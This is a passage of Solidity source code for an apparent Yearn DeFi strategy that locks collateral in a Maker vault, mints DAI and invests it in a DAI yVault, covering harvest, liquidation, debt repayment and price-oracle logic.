_metadataURI) external onlyAuthorized { metadataURI = _metadataURI; emit UpdatedMetadataURI(_metadataURI); } /** * Resolve governance address from Vault contract, used to make assertions * on protected functions in the Strategy. */ function governance() internal view returns (address) { return vault.governance(); } /** * @notice * Provide an accurate conversion from `_amtInWei` (denominated in wei) * to `want` (using the native decimal characteristics of `want`). * @dev * Care must be taken when working with decimals to assure that the conversion * is compatible. As an example: * * given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals), * with USDC/ETH = 1800, this should give back 1800000000 (180 USDC) * * @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want` * @return The amount in `want` of `_amtInEth` converted to `want` **/ function ethToWant(uint256 _amtInWei) public view virtual returns (uint256); /** * @notice * Provide an accurate estimate for the total amount of assets * (principle + return) that this Strategy is currently managing, * denominated in terms of `want` tokens. * * This total should be "realizable" e.g. the total value that could * *actually* be obtained from this Strategy if it were to divest its * entire position based on current on-chain conditions. * @dev * Care must be taken in using this function, since it relies on external * systems, which could be manipulated by the attacker to give an inflated * (or reduced) value produced by this function, based on current on-chain * conditions (e.g. this function is possible to influence through * flashloan attacks, oracle manipulations, or other DeFi attack * mechanisms). * * It is up to governance to use this function to correctly order this * Strategy relative to its peers in the withdrawal queue to minimize * losses for the Vault based on sudden withdrawals. This value should be * higher than the total debt of the Strategy and higher than its expected * value to be "safe". * @return The estimated total assets in this Strategy. */ function estimatedTotalAssets() public view virtual returns (uint256); /* * @notice * Provide an indication of whether this strategy is currently "active" * in that it is managing an active position, or will manage a position in * the future. This should correlate to `harvest()` activity, so that Harvest * events can be tracked externally by indexing agents. * @return True if the strategy is actively managing a position. */ function isActive() public view returns (bool) { return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0; } /** * Perform any Strategy unwinding or other calls necessary to capture the * "free return" this Strategy has generated since the last time its core * position(s) were adjusted. Examples include unwrapping extra rewards. * This call is only used during "normal operation" of a Strategy, and * should be optimized to minimize losses as much as possible. * * This method returns any realized profits and/or realized losses * incurred, and should return the total amounts of profits/losses/debt * payments (in `want` tokens) for the Vault's accounting (e.g. * `want.balanceOf(this) >= _debtPayment + _profit`). * * `_debtOutstanding` will be 0 if the Strategy is not past the configured * debt limit, otherwise its value will be how far past the debt limit * the Strategy is. The Strategy's debt limit is configured in the Vault. * * NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`. * It is okay for it to be less than `_debtOutstanding`, as that * should only used as a guide for how much is left to pay back. * Payments should be made to minimize loss from slippage, debt, * withdrawal fees, etc. * * See `vault.debtOutstanding()`. */ function prepareReturn(uint256 _debtOutstanding) internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ); /** * Perform any adjustments to the core position(s) of this Strategy given * what change the Vault made in the "investable capital" available to the * Strategy. Note that all "free capital" in the Strategy after the report * was made is available for reinvestment. Also note that this number * could be 0, and you should handle that scenario accordingly. * * See comments regarding `_debtOutstanding` on `prepareReturn()`. */ function adjustPosition(uint256 _debtOutstanding) internal virtual; /** * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, * irregardless of slippage. Any excess will be re-invested with `adjustPosition()`. * This function should return the amount of `want` tokens made available by the * liquidation. If there is a difference between them, `_loss` indicates whether the * difference is due to a realized loss, or if there is some other sitution at play * (e.g. locked funds) where the amount made available is less than what is needed. * * NOTE: The invariant `_liquidatedAmount + _loss <= _amountNeeded` should always be maintained */ function liquidatePosition(uint256 _amountNeeded) internal virtual returns (uint256 _liquidatedAmount, uint256 _loss); /** * Liquidate everything and returns the amount that got freed. * This function is used during emergency exit instead of `prepareReturn()` to * liquidate all of the Strategy's positions back to the Vault. */ function liquidateAllPositions() internal virtual returns (uint256 _amountFreed); /** * @notice * Provide a signal to the keeper that `tend()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `tend()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `tend()` is not called * shortly, then this can return `true` even if the keeper might be * "at a loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `harvestTrigger()` should never return `true` at the same * time. * @param callCostInWei The keeper's estimated gas cost to call `tend()` (in wei). * @return `true` if `tend()` should be called, `false` otherwise. */ function tendTrigger(uint256 callCostInWei) public view virtual returns (bool) { // We usually don't need tend, but if there are positions that need // active maintainence, overriding this function is how you would // signal for that. // If your implementation uses the cost of the call in want, you can // use uint256 callCost = ethToWant(callCostInWei); return false; } /** * @notice * Adjust the Strategy's position. The purpose of tending isn't to * realize gains, but to maximize yield by reinvesting any returns. * * See comments on `adjustPosition()`. * * This may only be called by governance, the strategist, or the keeper. */ function tend() external onlyKeepers { // Don't take profits with this call, but adjust for better gains adjustPosition(vault.debtOutstanding()); } /** * @notice * Provide a signal to the keeper that `harvest()` should be called. The * keeper will provide the estimated gas cost that they would pay to call * `harvest()`, and this function should use that estimate to make a * determination if calling it is "worth it" for the keeper. This is not * the only consideration into issuing this trigger, for example if the * position would be negatively affected if `harvest()` is not called * shortly, then this can return `true` even if the keeper might be "at a * loss" (keepers are always reimbursed by Yearn). * @dev * `callCostInWei` must be priced in terms of `wei` (1e-18 ETH). * * This call and `tendTrigger` should never return `true` at the * same time. * * See `min/maxReportDelay`, `profitFactor`, `debtThreshold` to adjust the * strategist-controlled parameters that will influence whether this call * returns `true` or not. These parameters will be used in conjunction * with the parameters reported to the Vault (see `params`) to determine * if calling `harvest()` is merited. * * It is expected that an external system will check `harvestTrigger()`. * This could be a script run off a desktop or cloud bot (e.g. * https://github.com/iearn-finance/yearn-vaults/blob/main/scripts/keep.py), * or via an integration with the Keep3r network (e.g. * https://github.com/Macarse/GenericKeep3rV2/blob/master/contracts/keep3r/GenericKeep3rV2.sol). * @param callCostInWei The keeper's estimated gas cost to call `harvest()` (in wei). * @return `true` if `harvest()` should be called, `false` otherwise. */ function harvestTrigger(uint256 callCostInWei) public view virtual returns (bool) { uint256 callCost = ethToWant(callCostInWei); StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if Strategy is not activated if (params.activation == 0) return false; // Should not trigger if we haven't waited long enough since previous harvest if (block.timestamp.sub(params.lastReport) < minReportDelay) return false; // Should trigger if hasn't been called in a while if (block.timestamp.sub(params.lastReport) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is based on deposits, it makes sense to guard against large // changes to the value from triggering a harvest directly through user // behavior. This should ensure reasonable resistance to manipulation // from user-initiated withdrawals as the outstanding debt fluctuates. uint256 outstanding = vault.debtOutstanding(); if (outstanding > debtThreshold) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); // Trigger if we have a loss to report if (total.add(debtThreshold) < params.totalDebt) return true; uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost // is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor.mul(callCost) < credit.add(profit)); } /** * @notice * Harvests the Strategy, recognizing any profits or losses and adjusting * the Strategy's position. * * In the rare case the Strategy is in emergency shutdown, this will exit * the Strategy's position. * * This may only be called by governance, the strategist, or the keeper. * @dev * When `harvest()` is called, the Strategy reports to the Vault (via * `vault.report()`), so in some cases `harvest()` must be called in order * to take in profits, to borrow newly available funds from the Vault, or * otherwise adjust its position. In other cases `harvest()` must be * called to report to the Vault on the Strategy's position, especially if * any losses have occurred. */ function harvest() external onlyKeepers { uint256 profit = 0; uint256 loss = 0; uint256 debtOutstanding = vault.debtOutstanding(); uint256 debtPayment = 0; if (emergencyExit) { // Free up as much capital as possible uint256 amountFreed = liquidateAllPositions(); if (amountFreed < debtOutstanding) { loss = debtOutstanding.sub(amountFreed); } else if (amountFreed > debtOutstanding) { profit = amountFreed.sub(debtOutstanding); } debtPayment = debtOutstanding.sub(loss); } else { // Free up returns for Vault to pull (profit, loss, debtPayment) = prepareReturn(debtOutstanding); } // Allow Vault to take up to the "harvested" balance of this contract, // which is the amount it has earned since the last time it reported to // the Vault. uint256 totalDebt = vault.strategies(address(this)).totalDebt; debtOutstanding = vault.report(profit, loss, debtPayment); // Check if free returns are left, and re-invest them adjustPosition(debtOutstanding); // call healthCheck contract if (doHealthCheck && healthCheck != address(0)) { require(HealthCheck(healthCheck).check(profit, loss, debtPayment, debtOutstanding, totalDebt), "!healthcheck"); } else { doHealthCheck = true; } emit Harvested(profit, loss, debtPayment, debtOutstanding); } /** * @notice * Withdraws `_amountNeeded` to `vault`. * * This may only be called by the Vault. * @param _amountNeeded How much `want` to withdraw. * @return _loss Any realized losses */ function withdraw(uint256 _amountNeeded) external returns (uint256 _loss) { require(msg.sender == address(vault), "!vault"); // Liquidate as much as possible to `want`, up to `_amountNeeded` uint256 amountFreed; (amountFreed, _loss) = liquidatePosition(_amountNeeded); // Send it directly back (NOTE: Using `msg.sender` saves some gas here) want.safeTransfer(msg.sender, amountFreed); // NOTE: Reinvest anything leftover on next `tend`/`harvest` } /** * Do anything necessary to prepare this Strategy for migration, such as * transferring any reserve or LP tokens, CDPs, or other tokens or stores of * value. */ function prepareMigration(address _newStrategy) internal virtual; /** * @notice * Transfers all `want` from this Strategy to `_newStrategy`. * * This may only be called by the Vault. * @dev * The new Strategy's Vault must be the same as this Strategy's Vault. * The migration process should be carefully performed to make sure all * the assets are migrated to the new address, which should have never * interacted with the vault before. * @param _newStrategy The Strategy to migrate to. */ function migrate(address _newStrategy) external { require(msg.sender == address(vault)); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } /** * @notice * Activates emergency exit. Once activated, the Strategy will exit its * position upon the next harvest, depositing all funds into the Vault as * quickly as is reasonable given on-chain conditions. * * This may only be called by governance or the strategist. * @dev * See `vault.setEmergencyShutdown()` and `harvest()` for further details. */ function setEmergencyExit() external onlyEmergencyAuthorized { emergencyExit = true; vault.revokeStrategy(); emit EmergencyExitEnabled(); } /** * Override this to add all tokens/tokenized positions this contract * manages on a *persistent* basis (e.g. not just for swapping back to * want ephemerally). * * NOTE: Do *not* include `want`, already included in `sweep` below. * * Example: * ``` * function protectedTokens() internal override view returns (address[] memory) { * address[] memory protected = new address[](3); * protected[0] = tokenA; * protected[1] = tokenB; * protected[2] = tokenC; * return protected; * } * ``` */ function protectedTokens() internal view virtual returns (address[] memory); /** * @notice * Removes tokens from this Strategy that are not the type of tokens * managed by this Strategy. This may be used in case of accidentally * sending the wrong kind of token to this Strategy. * * Tokens will be sent to `governance()`. * * This will fail if an attempt is made to sweep `want`, or any tokens * that are protected by this Strategy. * * This may only be called by governance. * @dev * Implement `protectedTokens()` to specify any additional tokens that * should be protected from sweeping in addition to `want`. * @param _token The token to transfer out of this vault. */ function sweep(address _token) external onlyGovernance { require(_token != address(want), "!want"); require(_token != address(vault), "!shares"); address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).safeTransfer(governance(), IERC20(_token).balanceOf(address(this))); } } // Part: Strategy contract Strategy is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; // Units used in Maker contracts uint256 internal constant WAD = 10**18; uint256 internal constant RAY = 10**27; // DAI token IERC20 internal constant investmentToken = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F); // 100% uint256 internal constant MAX_BPS = WAD; // Maximum loss on withdrawal from yVault uint256 internal constant MAX_LOSS_BPS = 10000; // Wrapped Ether - Used for swaps routing address internal constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // SushiSwap router ISwap internal constant sushiswapRouter = ISwap(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // Uniswap router ISwap internal constant uniswapRouter = ISwap(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Provider to read current block's base fee IBaseFee internal constant baseFeeProvider = IBaseFee(0xf8d0Ec04e94296773cE20eFbeeA82e76220cD549); // Token Adapter Module for collateral address public gemJoinAdapter; // Maker Oracle Security Module IOSMedianizer public wantToUSDOSMProxy; // Use Chainlink oracle to obtain latest want/ETH price AggregatorInterface public chainlinkWantToETHPriceFeed; // DAI yVault IVault public yVault; // Router used for swaps ISwap public router; // Collateral type bytes32 public ilk; // Our vault identifier uint256 public cdpId; // Our desired collaterization ratio uint256 public collateralizationRatio; // Allow the collateralization ratio to drift a bit in order to avoid cycles uint256 public rebalanceTolerance; // Max acceptable base fee to take more debt or harvest uint256 public maxAcceptableBaseFee; // Maximum acceptable loss on withdrawal. Default to 0.01%. uint256 public maxLoss; // If set to true the strategy will never try to repay debt by selling want bool public leaveDebtBehind; // Name of the strategy string internal strategyName; // ----------------- INIT FUNCTIONS TO SUPPORT CLONING ----------------- constructor( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public BaseStrategy(_vault) { _initializeThis( _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); } function initialize( address _vault, address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) public { // Make sure we only initialize one time require(address(yVault) == address(0)); // dev: strategy already initialized address sender = msg.sender; // Initialize BaseStrategy _initialize(_vault, sender, sender, sender); // Initialize cloned instance _initializeThis( _yVault, _strategyName, _ilk, _gemJoin, _wantToUSDOSMProxy, _chainlinkWantToETHPriceFeed ); } function _initializeThis( address _yVault, string memory _strategyName, bytes32 _ilk, address _gemJoin, address _wantToUSDOSMProxy, address _chainlinkWantToETHPriceFeed ) internal { yVault = IVault(_yVault); strategyName = _strategyName; ilk = _ilk; gemJoinAdapter = _gemJoin; wantToUSDOSMProxy = IOSMedianizer(_wantToUSDOSMProxy); chainlinkWantToETHPriceFeed = AggregatorInterface( _chainlinkWantToETHPriceFeed ); // Set default router to SushiSwap router = sushiswapRouter; // Set health check to health.ychad.eth healthCheck = 0xDDCea799fF1699e98EDF118e0629A974Df7DF012; cdpId = MakerDaiDelegateLib.openCdp(ilk); require(cdpId > 0); // dev: error opening cdp // Current ratio can drift (collateralizationRatio - rebalanceTolerance, collateralizationRatio + rebalanceTolerance) // Allow additional 15% in any direction (210, 240) by default rebalanceTolerance = (15 * MAX_BPS) / 100; // Minimum collaterization ratio on YFI-A is 175% // Use 225% as target collateralizationRatio = (225 * MAX_BPS) / 100; // If we lose money in yvDAI then we are not OK selling want to repay it leaveDebtBehind = true; // Define maximum acceptable loss on withdrawal to be 0.01%. maxLoss = 1; // Set max acceptable base fee to take on more debt to 60 gwei maxAcceptableBaseFee = 60 * 1e9; } // ----------------- SETTERS & MIGRATION ----------------- // Maximum acceptable base fee of current block to take on more debt function setMaxAcceptableBaseFee(uint256 _maxAcceptableBaseFee) external onlyEmergencyAuthorized { maxAcceptableBaseFee = _maxAcceptableBaseFee; } // Target collateralization ratio to maintain within bounds function setCollateralizationRatio(uint256 _collateralizationRatio) external onlyEmergencyAuthorized { require( _collateralizationRatio.sub(rebalanceTolerance) > MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div( RAY ) ); // dev: desired collateralization ratio is too low collateralizationRatio = _collateralizationRatio; } // Rebalancing bands (collat ratio - tolerance, collat_ratio + tolerance) function setRebalanceTolerance(uint256 _rebalanceTolerance) external onlyEmergencyAuthorized { require( collateralizationRatio.sub(_rebalanceTolerance) > MakerDaiDelegateLib.getLiquidationRatio(ilk).mul(MAX_BPS).div( RAY ) ); // dev: desired rebalance tolerance makes allowed ratio too low rebalanceTolerance = _rebalanceTolerance; } // Max slippage to accept when withdrawing from yVault function setMaxLoss(uint256 _maxLoss) external onlyVaultManagers { require(_maxLoss <= MAX_LOSS_BPS); // dev: invalid value for max loss maxLoss = _maxLoss; } // If set to true the strategy will never sell want to repay debts function setLeaveDebtBehind(bool _leaveDebtBehind) external onlyEmergencyAuthorized { leaveDebtBehind = _leaveDebtBehind; } // Required to move funds to a new cdp and use a different cdpId after migration // Should only be called by governance as it will move funds function shiftToCdp(uint256 newCdpId) external onlyGovernance { MakerDaiDelegateLib.shiftCdp(cdpId, newCdpId); cdpId = newCdpId; } // Move yvDAI funds to a new yVault function migrateToNewDaiYVault(IVault newYVault) external onlyGovernance { uint256 balanceOfYVault = yVault.balanceOf(address(this)); if (balanceOfYVault > 0) { yVault.withdraw(balanceOfYVault, address(this), maxLoss); } investmentToken.safeApprove(address(yVault), 0); yVault = newYVault; _depositInvestmentTokenInYVault(); } // Allow address to manage Maker's CDP function grantCdpManagingRightsToUser(address user, bool allow) external onlyGovernance { MakerDaiDelegateLib.allowManagingCdp(cdpId, user, allow); } // Allow switching between Uniswap and SushiSwap function switchDex(bool isUniswap) external onlyVaultManagers { if (isUniswap) { router = uniswapRouter; } else { router = sushiswapRouter; } } // Allow external debt repayment // Attempt to take currentRatio to target c-ratio // Passing zero will repay all debt if possible function emergencyDebtRepayment(uint256 currentRatio) external onlyVaultManagers { _repayDebt(currentRatio); } // Allow repayment of an arbitrary amount of Dai without having to // grant access to the CDP in case of an emergency // Difference with `emergencyDebtRepayment` function above is that here we // are short-circuiting all strategy logic and repaying Dai at once // This could be helpful if for example yvDAI withdrawals are failing and // we want to do a Dai airdrop and direct debt repayment instead function repayDebtWithDaiBalance(uint256 amount) external onlyVaultManagers { _repayInvestmentTokenDebt(amount); } // ******** OVERRIDEN METHODS FROM BASE CONTRACT ************ function name() external view override returns (string memory) { return strategyName; } function delegatedAssets() external view override returns (uint256) { return _convertInvestmentTokenToWant(_valueOfInvestment()); } function estimatedTotalAssets() public view override returns (uint256) { return balanceOfWant() .add(balanceOfMakerVault()) .add(_convertInvestmentTokenToWant(balanceOfInvestmentToken())) .add(_convertInvestmentTokenToWant(_valueOfInvestment())) .sub(_convertInvestmentTokenToWant(balanceOfDebt())); } function prepareReturn(uint256 _debtOutstanding) internal override returns ( uint256 _profit, uint256 _loss, uint256 _debtPayment ) { uint256 totalDebt = vault.strategies(address(this)).totalDebt; // Claim rewards from yVault _takeYVaultProfit(); uint256 totalAssetsAfterProfit = estimatedTotalAssets(); _profit = totalAssetsAfterProfit > totalDebt ? totalAssetsAfterProfit.sub(totalDebt) : 0; uint256 _amountFreed; (_amountFreed, _loss) = liquidatePosition( _debtOutstanding.add(_profit) ); _debtPayment = Math.min(_debtOutstanding, _amountFreed); if (_loss > _profit) { // Example: // debtOutstanding 100, profit 50, _amountFreed 100, _loss 50 // loss should be 0, (50-50) // profit should endup in 0 _loss = _loss.sub(_profit); _profit = 0; } else { // Example: // debtOutstanding 100, profit 50, _amountFreed 140, _loss 10 // _profit should be 40, (50 profit - 10 loss) // loss should end up in be 0 _profit = _profit.sub(_loss); _loss = 0; } } function adjustPosition(uint256 _debtOutstanding) internal override { MakerDaiDelegateLib.keepBasicMakerHygiene(ilk); // If we have enough want to deposit more into the maker vault, we do it // Do not skip the rest of the function as it may need to repay or take on more debt uint256 wantBalance = balanceOfWant(); if (wantBalance > _debtOutstanding) { uint256 amountToDeposit = wantBalance.sub(_debtOutstanding); _depositToMakerVault(amountToDeposit); } // Allow the ratio to move a bit in either direction to avoid cycles uint256 currentRatio = getCurrentMakerVaultRatio(); if (currentRatio < collateralizationRatio.sub(rebalanceTolerance)) { _repayDebt(currentRatio); } else if ( currentRatio > collateralizationRatio.add(rebalanceTolerance) ) { _mintMoreInvestmentToken(); } // If we have anything left to invest then deposit into the yVault _depositInvestmentTokenInYVault(); } function liquidatePosition(uint256 _amountNeeded) internal override returns (uint256 _liquidatedAmount, uint256 _loss) { uint256 balance = balanceOfWant(); // Check if we can handle it without freeing collateral if (balance >= _amountNeeded) { return (_amountNeeded, 0); } // We only need to free the amount of want not readily available uint256 amountToFree = _amountNeeded.sub(balance); uint256 price = _getWantTokenPrice(); uint256 collateralBalance = balanceOfMakerVault(); // We cannot free more than what we have locked amountToFree = Math.min(amountToFree, collateralBalance); uint256 totalDebt = balanceOfDebt(); // If for some reason we do not have debt, make sure the operation does not revert if (totalDebt == 0) { totalDebt = 1; } uint256 toFreeIT = amountToFree.mul(price).div(WAD); uint256 collateralIT = collateralBalance.mul(price).div(WAD); uint256 newRatio = collateralIT.sub(toFreeIT).mul(MAX_BPS).div(totalDebt); // Attempt to repay necessary debt to restore the target collateralization ratio _repayDebt(newRatio); // Unlock as much collateral as possible while keeping the target ratio amountToFree = Math.min(amountToFree, _maxWithdrawal()); _freeCollateralAndRepayDai(amountToFree, 0); // If we still need more want to repay, we may need to unlock some collateral to sell if ( !leaveDebtBehind && balanceOfWant() < _amountNeeded && balanceOfDebt() > 0 ) { _sellCollateralToRepayRemainingDebtIfNeeded(); } uint256 looseWant = balanceOfWant(); if (_amountNeeded > looseWant) { _liquidatedAmount = looseWant; _loss = _amountNeeded.sub(looseWant); } else { _liquidatedAmount = _amountNeeded; _loss = 0; } } function liquidateAllPositions() internal override returns (uint256 _amountFreed) { (_amountFreed, ) = liquidatePosition(estimatedTotalAssets()); } function harvestTrigger(uint256 callCost) public view override returns (bool) { return isCurrentBaseFeeAcceptable() && super.harvestTrigger(callCost); } function tendTrigger(uint256 callCostInWei) public view override returns (bool) { // Nothing to adjust if there is no collateral locked if (balanceOfMakerVault() == 0) { return false; } uint256 currentRatio = getCurrentMakerVaultRatio(); // If we need to repay debt and are outside the tolerance bands, // we do it regardless of the call cost if (currentRatio < collateralizationRatio.sub(rebalanceTolerance)) { return true; } // Mint more DAI if possible return currentRatio > collateralizationRatio.add(rebalanceTolerance) && balanceOfDebt() > 0 && isCurrentBaseFeeAcceptable() && MakerDaiDelegateLib.isDaiAvailableToMint(ilk); } function prepareMigration(address _newStrategy) internal override { // Transfer Maker Vault ownership to the new startegy MakerDaiDelegateLib.transferCdp(cdpId, _newStrategy); // Move yvDAI balance to the new strategy IERC20(yVault).safeTransfer( _newStrategy, yVault.balanceOf(address(this)) ); } function protectedTokens() internal view override returns (address[] memory) {} function ethToWant(uint256 _amtInWei) public view virtual override returns (uint256) { if (address(want) == address(WETH)) { return _amtInWei; } uint256 price = uint256(chainlinkWantToETHPriceFeed.latestAnswer()); return _amtInWei.mul(WAD).div(price); } // ----------------- INTERNAL FUNCTIONS SUPPORT ----------------- function _repayDebt(uint256 currentRatio) internal { uint256 currentDebt = balanceOfDebt(); // Nothing to repay if we are over the collateralization ratio // or there is no debt if (currentRatio > collateralizationRatio || currentDebt == 0) { return; } // ratio = collateral / debt // collateral = current_ratio * current_debt // collateral amount is invariant here so we want to find new_debt // so that new_debt * desired_ratio = current_debt * current_ratio // new_debt = current_debt * current_ratio / desired_ratio // and the amount to repay is the difference between current_debt and new_debt uint256 newDebt = currentDebt.mul(currentRatio).div(collateralizationRatio); uint256 amountToRepay; // Maker will revert if the outstanding debt is less than a debt floor // called 'dust'. If we are there we need to either pay the debt in full // or leave at least 'dust' balance (10,000 DAI for YFI-A) uint256 debtFloor = MakerDaiDelegateLib.debtFloor(ilk); if (newDebt <= debtFloor) { // If we sold want to repay debt we will have DAI readily available in the strategy // This means we need to count both yvDAI shares and current DAI balance uint256 totalInvestmentAvailableToRepay = _valueOfInvestment().add(balanceOfInvestmentToken()); if (totalInvestmentAvailableToRepay >= currentDebt) { // Pay the entire debt if we have enough investment token amountToRepay = currentDebt; } else { // Pay just 0.1 cent above debtFloor (best effort without liquidating want) amountToRepay = currentDebt.sub(debtFloor).sub(1e15); } } else { // If we are not near the debt floor then just pay the exact amount // needed to obtain a healthy collateralization ratio amountToRepay = currentDebt.sub(newDebt); } uint256 balanceIT = balanceOfInvestmentToken(); if (amountToRepay > balanceIT) { _withdrawFromYVault(amountToRepay.sub(balanceIT)); } _repayInvestmentTokenDebt(amountToRepay); } function _sellCollateralToRepayRemainingDebtIfNeeded() internal { uint256 currentInvestmentValue = _valueOfInvestment(); uint256 investmentLeftToAcquire = balanceOfDebt().sub(currentInvestmentValue); uint256 investmentLeftToAcquireInWant = _convertInvestmentTokenToWant(investmentLeftToAcquire); if (investmentLeftToAcquireInWant <= balanceOfWant()) { _buyInvestmentTokenWithWant(investmentLeftToAcquire); _repayDebt(0); _freeCollateralAndRepayDai(balanceOfMakerVault(), 0); } } // Mint the maximum DAI possible for the locked collateral function _mintMoreInvestmentToken() internal { uint256 price = _getWantTokenPrice(); uint256 amount = balanceOfMakerVault(); uint256 daiToMint = amount.mul(price).mul(MAX_BPS).div(collateralizationRatio).div(WAD); daiToMint = daiToMint.sub(balanceOfDebt()); _lockCollateralAndMintDai(0, daiToMint); } function _withdrawFromYVault(uint256 _amountIT) internal returns (uint256) { if (_amountIT == 0) { return 0; } // No need to check allowance because the contract == token uint256 balancePrior = balanceOfInvestmentToken(); uint256 sharesToWithdraw = Math.min( _investmentTokenToYShares(_amountIT), yVault.balanceOf(address(this)) ); if (sharesToWithdraw == 0) { return 0; } yVault.withdraw(sharesToWithdraw, address(this), maxLoss); return balanceOfInvestmentToken().sub(balancePrior); } function _depositInvestmentTokenInYVault() internal { uint256 balanceIT = balanceOfInvestmentToken(); if (balanceIT > 0) { _checkAllowance( address(yVault), address(investmentToken), balanceIT ); yVault.deposit(); } } function _repayInvestmentTokenDebt(uint256 amount) internal { if (amount == 0) { return; } uint256 debt = balanceOfDebt(); uint256 balanceIT = balanceOfInvestmentToken(); // We cannot pay more than loose balance amount = Math.min(amount, balanceIT); // We cannot pay more than we owe amount = Math.min(amount, debt); _checkAllowance( MakerDaiDelegateLib.daiJoinAddress(), address(investmentToken), amount ); if (amount > 0) { // When repaying the full debt it is very common to experience Vat/dust // reverts due to the debt being non-zero and less than the debt floor. // This can happen due to rounding when _wipeAndFreeGem() divides // the DAI amount by the accumulated stability fee rate. // To circumvent this issue we will add 1 Wei to the amount to be paid // if there is enough investment token balance (DAI) to do it. if (debt.sub(amount) == 0 && balanceIT.sub(amount) >= 1) { amount = amount.add(1); } // Repay debt amount without unlocking collateral _freeCollateralAndRepayDai(0, amount); } } function _checkAllowance( address _contract, address _token, uint256 _amount ) internal { if (IERC20(_token).allowance(address(this), _contract) < _amount) { IERC20(_token).safeApprove(_contract, 0); IERC20(_token).safeApprove(_contract, type(uint256).max); } } function _takeYVaultProfit() internal { uint256 _debt = balanceOfDebt(); uint256 _valueInVault = _valueOfInvestment(); if (_debt >= _valueInVault) { return; } uint256 profit = _valueInVault.sub(_debt); uint256 ySharesToWithdraw = _investmentTokenToYShares(profit); if (ySharesToWithdraw > 0) { yVault.withdraw(ySharesToWithdraw, address(this), maxLoss); _sellAForB( balanceOfInvestmentToken(), address(investmentToken), address(want) ); } } function _depositToMakerVault(uint256 amount) internal { if (amount == 0) { return; } _checkAllowance(gemJoinAdapter, address(want), amount); uint256 price = _getWantTokenPrice(); uint256 daiToMint = amount.mul(price).mul(MAX_BPS).div(collateralizationRatio).div(WAD); _lockCollateralAndMintDai(amount, daiToMint); } // Returns maximum collateral to withdraw while maintaining the target collateralization ratio function _maxWithdrawal() internal view returns (uint256) { // Denominated in want uint256 totalCollateral = balanceOfMakerVault(); // Denominated in investment token uint256 totalDebt = balanceOfDebt(); // If there is no debt to repay we can withdraw all the locked collateral if (totalDebt == 0) { return totalCollateral; } uint256 price = _getWantTokenPrice(); // Min collateral in want that needs to be locked with the outstanding debt // Allow going to the lower rebalancing band uint256 minCollateral = collateralizationRatio .sub(rebalanceTolerance) .mul(totalDebt) .mul(WAD) .div(price) .div(MAX_BPS); // If we are under collateralized then it is not safe for us to withdraw anything if (minCollateral > totalCollateral) { return 0; } return totalCollateral.sub(minCollateral); } // ----------------- PUBLIC BALANCES AND CALCS ----------------- function balanceOfWant() public view returns (uint256) { return want.balanceOf(address(this)); } function balanceOfInvestmentToken() public view returns (uint256) { return investmentToken.balanceOf(address(this)); } function balanceOfDebt() public view returns (uint256) { return MakerDaiDelegateLib.debtForCdp(cdpId, ilk); } // Returns collateral balance in the vault function balanceOfMakerVault() public view returns (uint256) { return MakerDaiDelegateLib.balanceOfCdp(cdpId, ilk); } // Effective collateralization ratio of the vault function getCurrentMakerVaultRatio() public view returns (uint256) { return MakerDaiDelegateLib.getPessimisticRatioOfCdpWithExternalPrice( cdpId, ilk, _getWantTokenPrice(), MAX_BPS ); } // Check if current block's base fee is under max allowed base fee function isCurrentBaseFeeAcceptable() public view returns (bool) { uint256 baseFee; try baseFeeProvider.basefee_global() returns (uint256 currentBaseFee) { baseFee = currentBaseFee; } catch { // Useful for testing until ganache supports london fork // Hard-code current base fee to 1000 gwei // This should also help keepers that run in a fork without // baseFee() to avoid reverting and potentially abandoning the job baseFee = 1000 * 1e9; } return baseFee <= maxAcceptableBaseFee; } // ----------------- INTERNAL CALCS ----------------- // Returns the minimum price available function _getWantTokenPrice() internal view returns (uint256) { // Use price from spotter as base uint256 minPrice = MakerDaiDelegateLib.getSpotPrice(ilk); // Peek the OSM to get current price try wantToUSDOSMProxy.read() returns ( uint256 current, bool currentIsValid ) { if (currentIsValid && current > 0) { minPrice = Math.min(minPrice, current); } } catch { // Ignore price peek()'d from OSM. Maybe we are no longer authorized. } // Peep the OSM to get future price try wantToUSDOSMProxy.foresight() returns ( uint256 future, bool futureIsValid ) { if (futureIsValid && future > 0) { minPrice = Math.min(minPrice, future); } } catch { // Ignore price peep()'d from OSM. Maybe we are no longer authorized. } // If price is set to 0 then we hope no liquidations are taking place // Emergency scenarios can be handled via manual debt repayment or by // granting governance access to the CDP require(minPrice > 0); // dev: invalid spot price // par is crucial to this calculation as it defines the relationship between DAI and // 1 unit of value in the price return minPrice.mul(RAY).div(MakerDaiDelegateLib.getDaiPar()); } function _valueOfInvestment() internal view returns (uint256) { return 